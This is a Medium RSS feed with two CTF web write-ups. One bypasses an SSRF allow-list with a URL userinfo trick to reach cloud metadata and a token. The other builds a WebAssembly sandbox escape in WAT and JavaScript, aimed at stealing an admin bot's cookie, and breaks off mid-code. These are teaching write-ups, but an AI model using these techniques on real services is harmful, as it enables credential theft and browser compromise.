<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by FROSTIVUS on Medium]]></title>
        <description><![CDATA[Stories by FROSTIVUS on Medium]]></description>
        <link>https://medium.com/@sonicmuaz?source=rss-dc148c93e3c5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rk6WnLZubEKtRWNtA6vviQ.jpeg</url>
            <title>Stories by FROSTIVUS on Medium</title>
            <link>https://medium.com/@sonicmuaz?source=rss-dc148c93e3c5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 14:51:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sonicmuaz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ASEAN-JAPAN CYBER SEA GAME 2026-GREEN LANE(WEB)]]></title>
            <link>https://medium.com/@sonicmuaz/asean-japan-cyber-sea-game-2026-green-lane-web-fedf50d96d2f?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/fedf50d96d2f</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 03:02:53 GMT</pubDate>
            <atom:updated>2026-11-22T03:02:53.129Z</atom:updated>
            <content:encoded><![CDATA[<p>By Team Malaysia</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*oiylfYv3nfdJoj10U149yg.png" /></figure><h3>Green Lane</h3><p><strong>Category:</strong> Web</p><p><strong>Points/Level:</strong> 750/hard</p><p><strong>Flag:</strong> CSG_FLAG{us3r1nf0_tr1ck_0p3n3d_th3_gr33n_lan3}</p><h3>Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JZPu2V3kAAaIHxCR.png" /></figure><p>We were given a page where you can request a preview via the textbox with a link. At first glance, this could be vulnerable to SSRF or it is called Server-Side Template Injection.</p><p>To test our theory, clicking “Fetch preview” would fetch the internal service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*80Id-X-6LUX0Z13u.png" /></figure><p>And indeed, it did fetch the internal preview of the site. Next, would be to see if the SSRF would be possible with external address. A quick fetch of domain like “google.com” would prove this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vp7WJNCexY7dnH7w.png" /></figure><p>And you can see that we have meet with our first blockage.</p><h3>Reasoning</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YIVqZYrVGcVRZnMJ.png" /></figure><p>In a typical SSRF fashion of CTF challenges, it is noted that usually it is guarded with some type of filtering, either it may be URL filtering or something. Looking back at the screenshot, you’ll see that it is blocked with following text:</p><p>This is a typical block, testing it with http protocol instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T5XIQ-4uquo-B3W7.png" /></figure><p>Now, we are served with another error which is:</p><blockquote><em>refused: upstream host is not in the partner allow-list (expected a label url beginning with </em><a href="http://labels.svc.internal)/"><em>http://labels.svc.internal)</em></a></blockquote><h3>Getting the foothold</h3><p>Now we see the what is being filtered, this is actually a good challenge because it gave us the insights to what it is being blocked. In typical blind SSRF, you would test it until you found what the filter misses. Since we already got the hint, I scouted the internet to fetch a payload for it.</p><p>We tried typicals of payload like URL encode which it does not normalize in the backend, this usually shows that it is direct written as such:</p><pre>input(url):<br>    filtered_url = filter(url)<br>    output = await fetch(url)<br>    textbox_content = output</pre><p>Thus, it does not exhibit browser behaviour. Thus, next would be to abuse the URI/URL spec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7muWwq0avIIjDljX.png" /></figure><p>URL allows for use of UserInfo for usually authenticated access, you’ll usually see this in ssh like this CTF:</p><blockquote><em>kali@kalicsg2026.local</em></blockquote><p>Thus, with this information, we can test if we can bypass the filter with the payload:</p><blockquote><a href="http://labels.svc.internal@test/"><em>http://labels.svc.internal@test</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9MR9B_YovVMqr_u8.png" /></figure><p>With this, we got another error which is:</p><blockquote><em>refused: upstream fetch failed: ConnectionError</em></blockquote><p>Noticed that is is ConnectionError, it means that the server attempted to fetch it. Testing it with google.com also gives out the same result which indicates no external network access.</p><h3>Next steps?</h3><p>Now we have a working bypass, with no external access, it is important us to find leads for internal services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/0*J6PFyDzRvXaY-MIw.png" /></figure><p>Noticed that at the end of the page, you’ll see that we have a path at /api/upsteams. Going to that path reveals:</p><pre>{<br>  &quot;service&quot;: &quot;green-lane-preclearance&quot;,<br>  &quot;upstreams&quot;: [<br>    {<br>      &quot;name&quot;: &quot;labels.svc.internal&quot;,<br>      &quot;role&quot;: &quot;partner label CDN&quot;,<br>      &quot;scope&quot;: &quot;allow-listed for /api/label/preview&quot;,<br>      &quot;status&quot;: &quot;up&quot;<br>    },<br>    {<br>      &quot;name&quot;: &quot;metadata.svc.internal&quot;,<br>      &quot;role&quot;: &quot;platform instance metadata service&quot;,<br>      &quot;scope&quot;: &quot;internal only -- not reachable from the edge&quot;,<br>      &quot;status&quot;: &quot;up&quot;<br>    }<br>  ],<br>  &quot;version&quot;: &quot;1.4.2&quot;<br>}</pre><p>Now we see we have metadata.svc.internal, with this we can try with the payload that is:</p><blockquote><a href="http://labels.svc.internal@metadata.svc.internal/"><em>http://labels.svc.internal@metadata.svc.internal</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mhStH-3PpqlpN3Vj.png" /></figure><p>Fetching that reveals a path latest, continuing into that path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AUuRfAVZiaBChAwm.png" /></figure><p>And again reveals a few more paths. dynamic reveals more configuration, as does meta-data; the one with the most interesting information is user-data. Pulling user-data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zh67hpeKOekZHuZ7.png" /></figure><p>Now we see this bash script, and noticing another URL to go to which is http://seals.svc.internal/v1/seal. Going for another one again reveals:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kaDMXzAOEJTK0MH_.png" /></figure><p>And with that we got the token, we got the flag.</p><blockquote><em>CSG_FLAG{us3r1nf0_tr1ck_0p3n3d_th3_gr33n_lan3}</em></blockquote><p>p/s: we would like to say thank you to everyone for the prayers and wishes, and alhamdulillah we achieved 2nd runner up or 3rd place for Malaysia! So happy able to bring the country flag and show to the others that we also have good people working in the community. This is for you, Malaysia! That’s all, see you again in a next one!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fedf50d96d2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WRITE UP:SEKAI CTF 2025]]></title>
            <link>https://medium.com/@sonicmuaz/write-up-sekai-ctf-2025-ca8df09983ec?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca8df09983ec</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Wed, 24 Jun 2026 17:14:32 GMT</pubDate>
            <atom:updated>2026-06-24T17:14:32.794Z</atom:updated>
            <content:encoded><![CDATA[<p>Sekai CTF 2025 seemed like a very fun event, unfortunately I ended up hyperfocusing on this one challenge and spent the entire CTF grinding it. I don’t regret a thing, it’s a great challenge, I learned a lot about wasm by solving it and had to solve some really fun problems. This is exactly what I look for when playing CTFs, kudos to the challenge creator.</p><p>I also claimed a $50 bounty for being the first(and only) person to solve this challenge :^</p><p>Thanks for nullenvk for playing with me 💙.</p><h3>Overview</h3><h3>Captivating Canvas Contraption — 1 solve (me :))</h3><p>I don’t understand how shaders work, so I made a small little site that allows you to use WebAssembly to render to a canvas instead. Share some of your designs with me?</p><p><em>Author</em>: Qyn <em>Category</em>: Web</p><p><a href="https://2025.ctf.sekai.team/challenges/#Captivating-Canvas-Contraption-39">https://2025.ctf.sekai.team/challenges/#Captivating-Canvas-Contraption-39</a></p><h3>The challenge</h3><p>As the description says, we’re given a simple static website that downloads a wasm file and executes it to render an image. There is an admin bot, which has the flag, stored as a cookie.</p><p>The webpage uses a relatively secure CSP, only allowing specific scripts to run using integrity hashes, and wasm-eval.</p><p>Our wasm code is then executed in a requestAnimationFrame loop(simplifying the code and inlining functions to make things easier to understand):</p><pre>// wasmData contains our wasm file<br>const wasmModule = await WebAssembly.instantiate(wasmData, {<br>	// stubs for AssemblyScript: https://www.assemblyscript.org/concepts.html#special-imports<br>	env: {<br>		abort: () =&gt; { },<br>		trace: () =&gt; { },<br>		seed: () =&gt; 0,<br>	}<br>});<br>const exports = wasmModule.instance.exports;</pre><pre>if (!exports.renderPixel) {<br>	throw new Error(&#39;WebAssembly module must export a &quot;renderPixel&quot; function&#39;);<br>}</pre><pre>renderPixel = exports.renderPixel;<br>setStatus(`Loaded ${wasmName} successfully`, &#39;success&#39;);</pre><pre>const render = () =&gt; {<br> for (let y = 0; y &lt; 512; y++) {<br>  for (let x = 0; x &lt; 512; x++) {<br>   // Call to our wasm here!<br>   const color = renderPixel(x,y);<br>   updateCanvas(color, x, y);<br>  }<br> }<br> requestAnimationFrame(render)<br>}</pre><pre>render();</pre><h3>Solution</h3><h3>WAT</h3><p>Since this challenge looked fairly difficult I expected that having the ability to write wasm on as low of a level as possible. For this reason I chose to solve this challenge in WAT.</p><p>In retrospect this was a mistake, and I would’ve been able to solve the challenge much faster had I used assemblyscript or some other high level language, but regardless I think it was a nice skill to pick up, so I will use it throughtout this writeup, alongside JS pseudocode for readibility.</p><h4>WAT primer</h4><p>To compile code to wasm I just used the wat2wasm tool from the webassembly binary toolkit.</p><p>As a starter I grabbed the solid.wasm example, decompiled it with wasm2wat and manually cleaned it up as a base to work from</p><pre>export function renderPixel(x: i32, y: i32): i32 {<br>	return 11141375;<br>}</pre><p>WAT</p><pre>(module<br>	(func $renderPixel (result i32)<br>		i32.const 11141375)<br>	(export &quot;renderPixel&quot; (func $renderPixel))<br>)</pre><p>WASM code declares imports, which can be functions or externrefs(more later), as well as it’s own exports statically ahead of time.</p><p>There are 3 data types that we’ll be using to interact between wasm and javascript:</p><ul><li>i32 is a basic number type. Javascript numbers will automatically be converted into i32s as needed and WASM i32s will be converted to javascript numbers.</li><li>externref is a transparent javascript value. It can be a function an object, a string, anything really. WASM can only store it and pass it as an argument to javascript code, but can’t interact with it in any other way</li><li>WASM functions can be passed to javascript and will be treated like any function. Very importantly this doesn’t work the other way around: WASM cannot call javascript functions that weren’t defined as imports ahead of time</li></ul><h3>Initial vulnerability</h3><p>The name of the challenge: “Captivating Canvas Contraption” is very suspicious. My immediate thought was that this was a reference to the Chaos Computer Club, possibly referencing some past challenge or a talk given at some CCC event?</p><p>After a quick search for “wasm sandbox” on the CCC <a href="https://media.ccc.de/">media server</a>. I found this talk given by <a href="https://th0mas.nl/">Thomas Rinsma</a>: <a href="https://media.ccc.de/v/why2025-226-escaping-a-misleading-sandbox-breaking-the-webassembly-javascript-barrier">“Escaping a misleading “sandbox”: breaking the WebAssembly-JavaScript barrier”</a> from WHY2025, talking about walking up the javascript object prototypes in order to access functions we aren’t supposed to from wasm(also available as a <a href="https://phrack.org/issues/72/10_md#article">phrack article</a> now).</p><p>I highly encourage you to listen to the talk or read the paper yourself, it was very well done, but I’ll summarize it here:</p><p>A Wasm module defines a set of static imports: functions and data that need to be made available to it. Imports are always namespaced, so every import is referred to by two keys: the namespace key and the name of the import. Under the browser wasm interface these are passed in as the second argument to the instantiate, with nested objects describing namespaces and imports(for example in this challenge the env namespace contains a function called abort).</p><p>Javascript objects have a prototype that they implicitly inherit all properties from. The default prototype for objects defines a few properties:</p><pre>~ node<br>&gt; ({}).toLocaleString<br>[Function: toLocaleString]</pre><p>no spec specifies that wasm shouldn’t resolve imports from the prototype, so our wasm module can import stuff we weren’t intended to.</p><p>😈</p><p>Unfortunately there are a few key limitations:</p><ul><li>We can’t control the this value when calling functions</li><li>We can’t create javascript objects ourselves, we can only create numbers and our wasm functions</li><li>We can’t interact with javascript values ourselves. We can only store them and pass them forward, via the externref type.</li><li>We can’t call any functions we haven’t imported on module load. We have to treat them as externrefs and pass them back to some javascript function that will call them for us.</li></ul><p>Despite this we have one saving grace: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy">Object.groupBy</a>. This is an extremely versitile gadget, allowing us to extract elements from arrays, call arbitrary functions and construct objects.</p><p>The talk then goes on to construct strings by calling String.raw with Object.groupBy and calling eval, to get code execution. We cannot reuse that same exploit for this challenge due to the strict CSP, so it&#39;s finally time to start thinking for ourselves.</p><h3>Getting access to the window object</h3><p>We need to access document.cookie which contains the flag and some way to send it to ourselves.</p><p>The only way I can think of to do that is to somehow restore access to the window object. Most conventional ways of doing that are unavailable to us, since they require some form of eval but I remember an obscure (non-standard, v8-only) API we can potentially abuse: <a href="https://v8.dev/docs/stack-trace-api#customizing-stack-traces">Stack trace customization</a></p><p>Under chrome when reporting an error if an Error.prepareStackTrace function is defined the engine will call it when constructing the error message with an array of CallSite objects, which have a getThis() function that returns the value of this.</p><p>If we are smart about where we cause an error we can trigger an error that somewhere in it’s stack trace will have a function where this is set to window.</p><p>Error.prepareStackTrace is only called if something tries to access Error.stack, for example when an error is logged, which happens automatically for uncaught errors if devtools are open, or… when running under puppetter, like the adminbot.</p><p>To define prepareStackTrace we could probably somehow get access to Error, but since Error is also an Object it&#39;s much simpler to just define, Object.prototype.prepareStackTrace.</p><p>At this point I feelt like I was on the right track so I decided to start hunting for useful gadgets and turning them into primitives</p><h3>Primitives</h3><h4>Console.log</h4><p>I’m not familiar with wasm so I decided to go with the good old printf debugging. I modified the challenge code to give myself access to a console.log method</p><pre>// wasmData contains our wasm file<br>const wasmModule = await WebAssembly.instantiate(wasmData, {<br>	// stubs for AssemblyScript: https://www.assemblyscript.org/concepts.html#special-imports<br>	env: {<br>		abort: () =&gt; { },<br>		trace: () =&gt; { },<br>		seed: () =&gt; 0,<br>+		log: (val) =&gt; console.log(val)<br>	}<br>});</pre><p>In production I defined it as a noop function</p><pre>import { log } from &quot;env&quot;<br>import { constructor as Object } from &quot;env&quot;<br>/*<br>function log(x: externref) {<br>}<br>*/</pre><pre>export function renderPixel(x: i32, y: i32): i32 {<br>	// Log object.name, since we can&#39;t construct strings ourselves<br>	log(Object.name)<br>	return 11141375;<br>}</pre><p>WAT</p><pre>(import &quot;env&quot; &quot;log&quot; (func $log (param externref)))<br>(import &quot;constructor&quot; &quot;name&quot; (global $object_name externref))</pre><pre>(func $renderPixel (result i32)<br>	;; Log object.name, since we can&#39;t construct strings ourselves<br>	(call $log (global.get $object_name))<br>	i32.const 11141375)<br>(export &quot;renderPixel&quot; (func $renderPixel))</pre><p>Next I copied some basic ones from Thomas’ talk:</p><h4>Get n-th array element</h4><pre>let indexToSave: i32 = 0<br>let savedElement: externref;</pre><pre>function saveNth(element: externref, idx: i32) {<br>	if(indexToSave == idx) {<br>		savedElement = element<br>	}<br>}</pre><pre>function getNthArrayElement(array: externref, n: i32) {<br>	indexToSave = n;<br>	Object.groupBy(array, saveNth)<br>	return savedElement<br>}<br></pre><pre>// getNthArrayElement([1,2,3,4], 2]) == 3</pre><p>WAT</p><pre>(import &quot;constructor&quot; &quot;groupBy&quot; (func $group_by (param externref) (param funcref) (result externref)))</pre><pre>(global $idx_to_save (mut i32) (i32.const 0))<br>(global $saved_element (mut externref) (ref.null extern))<br>(func $save_nth_element (param $val externref) (param $n i32)<br>	(local.get $n)<br>	(global.get $idx_to_save)<br>	i32.eq<br>	(if<br>		(then<br>				(local.get $val)<br>				(global.set $saved_element)<br>		)<br>	)<br>)<br>(func $get_nth_element (param $arr externref) (param $n i32) (result externref)<br>	(global.set $idx_to_save (local.get $n))<br>	(call $group_by (local.get $arr) (ref.func $save_nth_element))<br>	drop<br>	(global.get $saved_element)<br>)</pre><h4>Traversing objects</h4><p>It’s useful to be able to traverse nested objects and get functions and data from them. We can’t always use Object.values here, since it only returns &quot;enumerable&quot; properties. Instead we have to make use of Object.getOwnPropertyDescriptors getOwnPropertyDescriptors returns an object with keys describing the properties of an object.</p><p>We’ll be using hardcoded array indexes. Those are not guaranteed to be stable and differ between engines(eg. firefox and chrome), but in practice they are consistent at least on the same browser release, which is good enough for our use case.</p><pre>function getPropertyByIndex(target: externref, idx: u32) {<br>	// keyValue object of propery names and their descriptors<br>	const propDescs = Object.getOwnPropertyDescriptors(target);<br>	// target property descriptor<br>	// eg.<br>	// { value: [Function push], writable: false, enumerable: false, configurable: true }<br>	const targetDesc = getNthArrayElement(Object.values(propDescs), idx);<br>	// targetDesc.value<br>	return getNthArrayElement(Object.values(targetDesc), 0)<br>}</pre><pre>// getPropertyByIndex(Object, 3) == Object.assign</pre><p>WAT</p><pre>(import &quot;constructor&quot; &quot;getOwnPropertyDescriptors&quot; (func $get_own_property_descriptors (param externref)  (result externref)))<br>(import &quot;constructor&quot; &quot;values&quot; (func $object_values (param externref) (result externref)))<br>(func $get_property_by_index (param $target externref) (param $idx i32) (result externref) <br>	(local $prop_descs externref)<br>	(local $prop_desc externref)<br>	(local.set $prop_descs <br>		(call $get_own_property_descriptors (local.get $target))<br>	)</pre><pre>	(local.set $prop_desc<br>		(call $get_nth_element <br>			(call $object_values (local.get $prop_descs))<br>			(local.get $idx) <br>		)<br>	)<br>	(call $get_nth_element <br>		(call $object_values (local.get $prop_desc))<br>		(i32.const 0) <br>	)<br>)</pre><p>With this we can define getters for useful functions, eg.</p><pre>function getStringClass() {<br>	const stringProto = Object.getPrototypeOf(Object.name)<br>	// stringProto.constructor<br>	// Hardcoded index<br>	return getPropertyByIndex(stringProto, 1)<br>}</pre><pre>function getStringfromCharCode() {<br>	// String.fromCharCode<br>	return getPropertyByIndex(getStringClass(), 3)<br>}</pre><pre>// getStringfromCharCode() == String.fromCharCode</pre><p>WAT</p><pre>(import &quot;constructor&quot; &quot;getPrototypeOf&quot; (func $object_get_prototype_of (result externref)))<br>(func $get_string_class (result externref)<br>	(local $string_proto externref)<br>	(local.set $string_proto (call $object_get_prototype_of (global.get $object_name)))<br>	(call $get_property_by_index (local.get $string_proto) (i32.const 1))<br>)</pre><pre>(func $get_string_from_char_code (result externref)<br>	(call $get_property_by_index (call $get_string_class) (i32.const 3))<br>)</pre><h4>Construct single character strings</h4><pre>let char_to_return: i32;<br>function returnCh(): i32 {<br>	return char_to_return<br>}</pre><pre>// char is an ascii encoded character<br>function makeSingleCharString(char: i32) {<br>	char_to_return = char;<br>	// Object.name is the string &quot;Object&quot;.<br>	// It&#39;s used here since it&#39;s an easy to access iterable<br>	// Eg. for 65(ascii A) Creates this object<br>	// { &#39;61&#39;: [ &#39;O&#39;, &#39;b&#39;, &#39;j&#39;, &#39;e&#39;, &#39;c&#39;, &#39;t&#39; ] }<br>	const chObject = Object.groupBy(Object.name, returnCh)<br>	// [&#39;61&#39;]<br>	const chArray = Object.keys(chObject)</pre><pre>	// We can&#39;t call String.fromCharCode directly, since we didn&#39;t import it, so we have to use groupBy<br>	// our char was converted to string in the previous step<br>	// but String.fromCharCode will implicitly convert it back to a number<br>	// Gives us:<br>	// { &#39;A\x00&#39;: [ &#39;65&#39; ] }<br>	// (the null byte comes, because groupBy passes the index as the second argument)<br>	const fromCharCodeObj = Object.groupBy(chArray, getStringfromCharCode())<br>	// &#39;A\x00&#39;<br>	const nullStr = getNthArrayElement(Object.keys(fromCharCodeObj), 0)<br>	// Remove the null<br>	return getNthArrayElement(nullStr, 0)<br>}<br></pre><pre>// makeSingleCharString(65) == &quot;A&quot;</pre><p>WAT</p><pre>(import &quot;constructor&quot; &quot;keys&quot; (func $object_keys (param externref) (result externref)))</pre><pre>;; We need a second definition of groupBy that we can call with js functions(externrefs)<br>(import &quot;constructor&quot; &quot;groupBy&quot; (func $group_by_extref (param externref) (param externref) (result externref)))</pre><pre>(global $char_to_return (mut i32) (i32.const 0))<br>(func $return_char (result i32)<br>	(global.get $char_to_return)<br>)<br>(export &quot;return_char&quot; (func $return_char))</pre><pre>(func $make_single_char_string (param $ch i32) (result externref)<br>	(local $ch_object externref)<br>	(local $ch_array externref)<br>	(local $from_char_code_obj externref)<br>	(local $null_str externref)</pre><pre>	(global.set $char_to_return (local.get $ch))<br>	(local.set $ch_object (<br>		call $group_by <br>			(global.get $object_name)<br>			(ref.func $return_char)<br>		)<br>	)<br>	(local.set $ch_array (<br>		call $object_keys <br>			(local.get $ch_object)<br>		)<br>	)<br>	(local.set $from_char_code_obj<br>		(call $group_by_extref <br>			(local.get $ch_array) (call $get_string_from_char_code)<br>		)<br>	)<br>	(local.set $null_str <br>		(call $get_nth_element  <br>			(call $object_keys (local.get $from_char_code_obj)) <br>			(i32.const 0)<br>		)<br>	)<br>	(call $get_nth_element  <br>		(local.get $null_str) <br>		(i32.const 0)<br>	)<br>)</pre><h4>Construct single element arrays</h4><p>Now we’re starting to finally get out of what’s covered in the talk.</p><p>While we can use groupBy to construct some objects we are limited by not being able to fully control their values, since groupBy requires the first argument to be array. To solve this we’d need some way to wrap an arbitrary object in a single element array.</p><p>Thinking through this I realized that if I could create an object with an arbitrary key, I would be able to call Object.values on it and get what I needed. The problem is that with my limited arsenal of functions I don’t have an obvious way to do this. I could use Object.defineProperty, but only if I was able to make a property descriptor object, which also requires me to be able to create arbitrary objects. Same think with Object.assign and even Object.create, I was stuck looking for a bootstrap.</p><p>Frustrated I moved onto trying to create other gadgets and when reading more about Object.defineProperty I realized something:</p><p>Every object has a property that we control: __proto__, which is actually a getter/setter pair that calls Object.getPrototypeOf and Object.setPrototypeOf. Since we can call Object.setPrototypeOf we fully control the value of __proto__ This property doesn&#39;t show up when calling Object.values, because it&#39;s property descriptor sets enumerable: false but we can easily override that. While can&#39;t craft arbitrary objects yet, we can still take an existing prototype descriptor, modify it and set it back on the original object. Let&#39;s try that</p><pre>// {}<br>function emptyObject(): externref {<br>	Object.create(Object.prototype)<br>}</pre><pre>/*<br>{<br>  get: [Function: get __proto__],<br>  set: [Function: set __proto__],<br>  enumerable: false,<br>  configurable: true<br>}<br>*/<br>function get__proto__Descriptor(): externref {<br>	/*<br>	{<br>	  get: [Function: get __proto__],<br>	  set: [Function: set __proto__],<br>	  enumerable: false,<br>	  configurable: true<br>	}<br>	*/<br>	const objectPrototypeProperties = Object.getOwnPropertyDescriptors(Object.prototype);<br>	const protoProp = getNthArrayElement(Object.values(objectPrototypeProperties), 10)<br>	return protoProp<br>}</pre><pre>// &quot;enumerable&quot;<br>function getEnumerableString() {<br>	return getNthArrayElement(Object.keys(get__proto__Descriptor()), 2)<br>}</pre><pre>// Helper function for groupBy Calls<br>let extref: externref;<br>function returnExternRef(): externref {<br>	return extref<br>}</pre><pre>// x =&gt; [x]<br>function buildSingleElementArray(element: externref): externref {<br>	const target = emptyObject();</pre><pre>	// Construct enumerable: true object.<br>	// We construct an array, but that&#39;s ok since and non empty arrays are considered truthy.<br>	// {enumerable: [ &#39;O&#39;, &#39;b&#39;, &#39;j&#39;, &#39;e&#39;, &#39;c&#39;, &#39;t&#39; ] }<br>	extref = getEnumerableString();<br>	const enumerableDesc = Object.groupBy(Object.name, returnExternRef)</pre><pre>	const descriptor = get__proto__Descriptor();<br>	// Set enumerable: true<br>	Object.assign(descriptor, enumerableDesc)</pre><pre>	// key doesn&#39;t matter, picking a random value<br>	const targetKey = getStringfromCharCode(0x41)</pre><pre>	const target = emptyObject();<br>	Object.defineProperty(target, targetKey, descriptor)<br>	Object.setPrototypeOf(target, element)</pre><pre>	return Object.values(target);<br>}</pre><p>WAT</p><pre>(import &quot;constructor&quot; &quot;prototype&quot; (global $object_prototype externref))<br>(import &quot;constructor&quot; &quot;create&quot; (func $object_create (param externref) (result externref)))<br>(import &quot;constructor&quot; &quot;assign&quot; (func $object_assign (param externref) (param externref)))<br>(import &quot;constructor&quot; &quot;defineProperty&quot; (func $object_define_property (param externref) (param externref) (param externref)))<br>(import &quot;constructor&quot; &quot;setPrototypeOf&quot; (func $object_set_prototype_of (param externref) (param externref)))</pre><pre>(global $externref_to_return (mut externref) (ref.null))<br>(func $return_externref (result externref)<br>	(global.get $externref_to_return)<br>)<br>(export &quot;return_externref&quot; (func $return_externref))</pre><pre>(func $empty_object (result externref) <br>	(call $object_create (global.get $object_prototype))<br>)</pre><pre>(func $get__proto__descriptor (result externref)<br>	(call $get_nth_element<br>		(call $object_values<br>			(call $get_own_property_descriptors (global.get $object_prototype))<br>		)<br>		(i32.const 10)<br>	)<br>)</pre><pre>(func $get_enumerable_string (result externref)<br>	(call $get_nth_element<br>		(call $object_keys (call $get__proto__descriptor))<br>		(i32.const 2)<br>	)<br>)</pre><pre>(func $build_single_element_array (param $element externref) (result externref)<br>	(local $target externref)<br>	(local $descriptor externref)<br>	(local $enumerable_desc externref)<br>	(local $target_key externref)</pre><pre>	(local.set $target (call $empty_object))</pre><pre>	(global.set $externref_to_return (call $get_enumerable_string))<br>	(local.set $enumerable_desc <br>		(call $group_by (global.get $object_name) (ref.func $return_externref))<br>	)</pre><pre>	(local.set $descriptor (call $get__proto__descriptor))<br>	(call $object_assign (local.get $descriptor) (local.get $enumerable_desc))</pre><pre>	(local.set $target_key (call $make_single_char_string (i32.const 0x41)))<br>	<br>	(call $object_define_property<br>		(local.get $target)<br>		(local.get $target_key)<br>		(local.get $descriptor)<br>	)</pre><pre>	(call $object_set_prototype_of (local.get $target) (local.get $element))</pre><pre>	(call $object_values (local.get $target))<br>)</pre><blockquote><em>buildSingleElementArray(“asdf”) === [“asdf”]<br>Uncaught TypeError: Object.setPrototypeOf: expected an object or null, got string</em></blockquote><p>…huh</p><p>strings are not Strings</p><p>You migth have experienced this when writing typescript before, but in JS by default when creating built in types(eg. 123, &quot;string&quot;) they aren&#39;t actually objects, instead they are a primitive type. In order to turn them into an object(to eg. call a method on them) we need to use a wrapper class(like Number and String), which isn&#39;t a problem, since it happens automatically in 99% of cases. Object.setPrototypeOf calls happen to be one of the only cases where it doesn&#39;t.</p><p>This is not a huge issue, we can just wrap the objects in their wrapper classes automatically by calling Object on them.</p><pre>function buildSingleElementArray(element: externref): externref {<br>	const target = emptyObject();</pre><pre>	// Construct enumerable: true object.<br>	// We construct an array, but that&#39;s ok since and non empty arrays are considered truthy.<br>	// {enumerable: [ &#39;O&#39;, &#39;b&#39;, &#39;j&#39;, &#39;e&#39;, &#39;c&#39;, &#39;t&#39; ] }<br>	extref = getEnumerableString();<br>	const enumerableDesc = Object.groupBy(Object.name, returnExternRef)</pre><pre>	const descriptor = get__proto__Descriptor();<br>	// Set enumerable: true<br>	Object.assign(descriptor, enumerableDesc)</pre><pre>	// key doesn&#39;t matter, picking a random value<br>	const targetKey = getStringfromCharCode(0x41)</pre><pre>	const target = emptyObject();<br>	Object.defineProperty(target, targetKey, descriptor)<br>+	Object.setPrototypeOf(target, element)<br>+	Object.setPrototypeOf(target, Object(element))</pre><pre>	return Object.values(target);<br>}</pre><p>WAT</p><pre>+(import &quot;__proto__&quot; &quot;constructor&quot; (global $object externref))</pre><pre>-	(call $object_set_prototype_of (local.get $target) (local.get $element))<br>+	(call $object_set_prototype_of (local.get $target) (<br>+	  call $object (local.get $element)<br>+	))</pre><h4>Set arbitrary properties on an object</h4><p>If we are able to create an array with 2 elements, we can use Object.fromEntries to create arbitrary KV objects, which in turn we can use with Object.assign to set arbitrary properties and create arbitrary objects.</p><p>In order to do this we need to create an object with two properties we control: a string(or a value that can be stringified) to use as a key and another arbitrary object to use as the value.</p><p>We can create an object containing the first property by passing a string wrapped in an array as the first argument to Object.group_by. This will create an object {“a”: [“key”]}, which is good enough for our use case, since fromEntries will stringify the key, and arrays are stringified by joining them, which in our case results in it becoming just &quot;key&quot;</p><p>We can get the second property on our object by using the same __proto__ enumerable hack we did before.</p><p>After that we can call Object.fromEntries to create an array. The order of values returned by Object.values isn&#39;t guaranteed as far as I am aware, but(at least in chromium) seems to preserve insertion order, which is good enough for us.</p><pre>function buildKVObject(key: externref, value: externref): externref {<br>	const wrappedValue = buildSingleElementArray(key);<br>	// Doesn&#39;t matter, any value is fine<br>	char_to_return = 0x41;<br>	// {&quot;a&quot;: [&quot;key&quot;]}<br>	const kv = Object.groupBy(buildSingleElementArray(key), return_char)</pre><pre>	extref = getEnumerableString();<br>	const enumerableDesc = Object.groupBy(Object.name, returnExternRef)</pre><pre>	const descriptor = get__proto__Descriptor();<br>	// Set enumerable: true<br>	Object.assign(descriptor, enumerableDesc)</pre><pre>	const key = makeSingleCharString(0x41);<br>	Object.defineProperty(kv, key, descriptor)<br>	Object.setPrototypeOf(kv, value)</pre><pre>	return Object.fromEntries(buildSingleElementArray(Object.entries(kv)))<br>}</pre><pre>// buildKVObject(&quot;asdf&quot;, [123]) == {&quot;asdf&quot;: 123}</pre><pre>function set(target: externref, key: externref, value: externref) {<br>	const kv = buildKVObject(key, value);<br>	Object.assign(target, kv);<br>}</pre><p>WAT</p><pre>(import &quot;constructor&quot; &quot;fromEntries&quot; (func $object_from_entries (param externref) (result externref)))<br>(func $build_kv_object (param $key externref) (param $value externref) (result externref)<br>	(local $kv externref)<br>	(local $descriptor externref)<br>	(local $enumerable_desc externref)<br>	(local $target_key externref)</pre><pre>	(local.set $target_key (call $make_single_char_string 